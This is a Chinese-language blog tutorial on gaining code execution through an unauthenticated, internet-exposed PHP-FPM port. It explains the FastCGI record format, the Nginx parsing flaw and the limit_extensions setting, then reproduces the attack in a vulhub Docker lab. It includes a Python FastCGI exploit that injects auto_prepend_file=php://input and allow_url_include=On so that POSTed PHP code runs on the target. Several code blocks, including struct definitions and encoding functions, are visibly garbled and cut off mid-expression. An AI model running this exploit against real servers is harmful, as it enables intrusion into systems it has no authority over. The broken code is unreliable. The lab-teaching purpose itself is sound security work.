利用Fastcgi+PHP-FPM非授权访问实现代码执行

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目录

Fastcgi Record

Fastcgi Type

PHP-FPM（FastCGI进程管理器）

Nginx（IIS7）解析漏洞

security.limit_extensions配置

漏洞演示

今天要和大家分享的是利用Fastcgi和PHP_FPM实现未授权访问实现代码执行，首先我们需要知道cgi、fastcgi和php-fpm这些都是什么。

什么是CGI

  • CGI全称是“公共网关接口”(Common Gateway Interface)，HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具，其程序须运行在网络服务器上。
  • CGI可以用任何一种语言编写，只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等

什么是FastCGI

  • FastCGI像是一个常驻(long-live)型的CGI，它可以一直执行着，只要激活后，不会每次都要花费时间去fork一次(这是CGI最为人诟病的fork-and-execute 模式)。它还支持分布式的运算, 即 FastCGI 程序可以在网站服务器以外的主机上执行并且接受来自其它网站服务器来的请求。
  • FastCGI是语言无关的、可伸缩架构的CGI开放扩展，其主要行为是将CGI解释器进程保持在内存中并因此获得较高的性能。众所周知，CGI解释器的反复加载是CGI性能低下的主要原因，如果CGI解释器保持在内存中并接受FastCGI进程管理器调度，则可以提供良好的性能、伸缩性、Fail- Over特性等等。

什么是PHP-FPM

  • PHP-FPM是一个PHP FastCGI管理器，是只用于PHP的,可以在 http://php-fpm.org/download下载得到。
  • PHP-FPM其实是PHP源代码的一个补丁，旨在将FastCGI进程管理整合进PHP包中。必须将它patch到你的PHP源代码中，在编译安装PHP后才可以使用。
  • 现在我们可以在最新的PHP 5.3.2的源码树里下载得到直接整合了PHP-FPM的分支，据说下个版本会融合进PHP的主分支去。相对Spawn-FCGI，PHP-FPM在CPU和内存方面的控制都更胜一筹，而且前者很容易崩溃，必须用crontab进行监控，而PHP-FPM则没有这种烦恼。
  • PHP5.3.3已经集成php-fpm了，不再是第三方的包了。PHP-FPM提供了更好的PHP进程管理方式，可以有效控制内存和进程、可以平滑重载PHP配置，比spawn-fcgi具有更多有点，所以被PHP官方收录了。在./configure的时候带 –enable-fpm参数即可开启PHP-FPM。

Fastcgi Record

Fastcgi其实是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。

Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。

和HTTP头不同，record的头固定8个字节，body是由头中的contentLength指定，其结构如下：

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 
 
  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个uchar类型的变量组成，每个变量1字节。

其中，requestId占两个字节，一个唯一的标志id，以避免多个请求之间的影响；

contentLength占两个字节，表示body的大小。

语言端解析了fastcgi头以后，拿到contentLength，然后再在TCP流里读取大小等于contentLength的数据，这就是body体。

Body后面还有一段额外的数据（Padding），其长度由头中的paddingLength指定，起保留作用。

不需要该Padding的时候，将其长度设置为0即可。

可见，一个fastcgi record结构最大支持的body大小是2^16，也就是65536字节。

Fastcgi Type

type就是指定该record的作用。因为fastcgi一个record的大小是有限的，作用也是单一的，所以我们需要在一个TCP流里传输多个record。

通过type来标志每个record的作用，用requestId作为同一次请求的id。

也就是说，每次请求，会有多个record，他们的requestId是相同的。

最主要的几种type：

 根据这个表格可以看出服务器中间件和后端语言通信，第一个数据包就是type为1的record，后续互相交流，发送type为4、5、6、7的record，结束时发送type为2、3的record。

当后端语言接收到一个type为4的record后，就会把这个record的body按照对应的结构解析成key-value对，这就是环境变量。

环境变量的结构如下：

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
 
typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) > 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) > 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f)

这其实是4个结构，至于用哪个结构，有如下规则：

  1. key、value均小于128字节，用FCGI_NameValuePair11

  2. key大于128字节，value小于128字节，用FCGI_NameValuePair41

  3. key小于128字节，value大于128字节，用FCGI_NameValuePair14

  4. key、value均大于128字节，用FCGI_NameValuePair44

为什么只介绍type为4的record？

因为环境变量在后面PHP-FPM里有重要作用，之后写代码也会写到这个结构。

PHP-FPM（FastCGI进程管理器）

FPM其实是一个fastcgi协议解析器，Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁？其实就是传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子，用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分，也就是PHP里的环境变量。

但环境变量的作用不仅是填充$_SERVER数组，也是告诉fpm：“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。

然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php。

Nginx（IIS7）解析漏洞

Nginx和IIS7曾经出现过一个PHP相关的解析漏洞（测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability），该漏洞现象是，在用户访问http://127.0.0.1/favicon.ico/.php时，访问到的文件是favicon.ico，但却按照.php后缀解析了。

用户请求http://127.0.0.1/favicon.ico/.php，nginx将会发送如下环境变量到fpm里：

{
    ...
    'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
    'SCRIPT_NAME': '/favicon.ico/.php',
    'REQUEST_URI': '/favicon.ico/.php',
    'DOCUMENT_ROOT': '/var/www/html',
    ...
}

正常来说，SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php，是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。

该漏洞产生的原因：

PHP为了支持Path Info模式而创造了fix_pathinfo，在这个选项被打开的情况下，fpm会判断SCRIPT_FILENAME是否存在，如果不存在则去掉最后一个/及以后的所有内容，再次判断文件是否存在，往次循环，直到文件存在。

所以，第一次fpm发现/var/www/html/favicon.ico/.php不存在，则去掉/.php，再判断/var/www/html/favicon.ico是否存在。显然这个文件是存在的，于是被作为PHP文件执行，导致解析漏洞。

正确的解决方法有两种：

一是在Nginx端使用fastcgi_split_path_info将path info信息去除后，用tryfiles判断文件是否存在；

二是借助PHP-FPM的security.limit_extensions配置项，避免其他后缀文件被解析。

security.limit_extensions配置

到这里，PHP-FPM未授权访问漏洞也就呼之欲出了。

PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，和fpm进行通信。

此时，SCRIPT_FILENAME的值就格外重要了。

因为fpm是根据这个值来执行php文件的，如果这个文件不存在，fpm会直接返回404：

我们可以直接使用别人写好的一个python脚本来进行访问，可以看懂结果与所想的是一样的

在fpm某个版本之前，我们可以将SCRIPT_FILENAME的值指定为任意后缀文件，比如/etc/passwd；

但后来，fpm的默认配置中增加了一个选项security.limit_extensions：

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被fpm执行，默认是.php。

所以，当我们再传入/etc/passwd的时候，将会返回Access denied.：

ps. 这个配置也会影响Nginx解析漏洞，我觉得应该是因为Nginx当时那个解析漏洞，促成PHP-FPM增加了这个安全选项。

另外，也有少部分发行版安装中security.limit_extensions默认为空，此时就没有任何限制了。

由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件。

万幸的是，通常使用源安装php的时候，服务器上都会附带一些php后缀的文件，我们使用find / -name "*.php"来全局搜索一下默认环境：

找到了不少。

这就给我们提供了一条思路，假设我们爆破不出来目标环境的web目录，我们可以找找默认源安装后可能存在的php文件，比如/usr/local/lib/php/PEAR.php。

漏洞演示：

（1）环境搭建

首先我们需要下载该漏洞的docker环境文件

下载地址：

https://github.com/vulhub/vulhub/archive/master.zip

然后需要利用的源码文件：

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) 
              + bchr(fcgi_type) 
              + bchr((requestid >> 8) & 0xFF) 
              + bchr(requestid & 0xFF) 
              + bchr((length >> 8) & 0xFF) 
              + bchr(length & 0xFF) 
              + bchr(0) 
              + bchr(0) 
              + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen > 24) | 0x80) 
                      + bchr((nLen >> 16) & 0xFF) 
                      + bchr((nLen >> 8) & 0xFF) 
                      + bchr(nLen & 0xFF)
        if vLen > 24) | 0x80) 
                      + bchr((vLen >> 16) & 0xFF) 
                      + bchr((vLen >> 8) & 0xFF) 
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) ')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

将下载完成的文件进行解压，然后进入到/root/vulhub-master/php/fpm文件夹中，就可以看到dockerfile文件，然后将上面的fpm.py文件也上传到该目录中，方便测试，确保docker运行的前提下，下面就是使用docker-compose 来拉取环境：

docker-compose up -d

注：如果遇到报错有可能是主机的php-fpm与docker中的php-fpm起冲突了

解决方案：将主机中的php-fpm进程关闭

 查看
 ps -aux |grep fpm
 关闭：
 kill -9 1096 1170 1171 1173 1176 1177 1963

关闭后，再次拉去环境，然后就可以正常拉取到，可以使用ps命令查看一下

可以看到这里的docker容器已经启动起来了，并且ports是0.0.0.0:9000，这正是我们需要复现漏洞的一个很重要的前提就是它将监听的ip地址设置为了0.0.0.0，任意的ip地址都可以进行访问，也就是未授权访问

（2）现在根据上面的提示我们来看看这个docker容器中的配置

进入到容器中：

docker exec -it ea045d3f0e0c /bin/bash

查看一下配置文件：

vim /usr/local/etc/php-fpm.d/www.conf

可以看到这里限制的扩展名，但是并没有启用，说明只支持.php扩展名

可以看到这里设置的监听的端口是127.0.0.1:9000，但是其实对外还是0.0.0.0:9000

（3）现在我们就需要想办法来进行利用这个未授权访问的漏洞了

由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件。

在下载php时会自动下载一些php文件，因此我们可以找一个系统自带的文件来利用

我们使用find / -name "*.php"来全局搜索一下默认环境： 

发现有很多的php文件，我就选择下面这个文件吧

（4）实现任意代码执行

那么，为什么我们控制fastcgi协议通信的内容，就能执行任意PHP代码呢？

理论上当然是不可以的，即使我们能控制SCRIPT_FILENAME，让fpm执行任意文件，也只是执行目标服务器上的文件，并不能执行我们需要其执行的文件。

但PHP是一门强大的语言，PHP.INI中有两个有趣的配置项：

auto_prepend_file（在执行目标文件前自动去包含它指定的文件）和auto_append_file（在执行目标文件后自动去包含它指定的文件）。

auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；

auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。

那么就有趣了，假设我们设置auto_prepend_file为php://input，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（当然，还需要开启远程文件包含选项allow_url_include）

注：php://input：可以接受POST数据，但是前提是

all_url_fopen:OFF/ON

all_url_include:ON

那么，我们怎么设置auto_prepend_file的值？

这又涉及到PHP-FPM的两个环境变量：

PHP_VALUE和PHP_ADMIN_VALUE。

这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。

（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）

所以，我们在脚本的最后传入如下环境变量：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input'
     PHP_ADMIN_VALUE': 'allow_url_include = On'
    注：有了这里可以通过POST上传.php文件
}

在fpm.py这个脚本中我们可以设置auto_prepend_file = php://input且allow_url_include = On，然后将我们需要执行的代码放在Body中，即可执行任意代码。

可以看到，确实进行了代码执行 

参考链接：

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌

什么是CGI、FastCGI、PHP-CGI、PHP-FPM-腾讯云开发者社区-腾讯云 (tencent.com)

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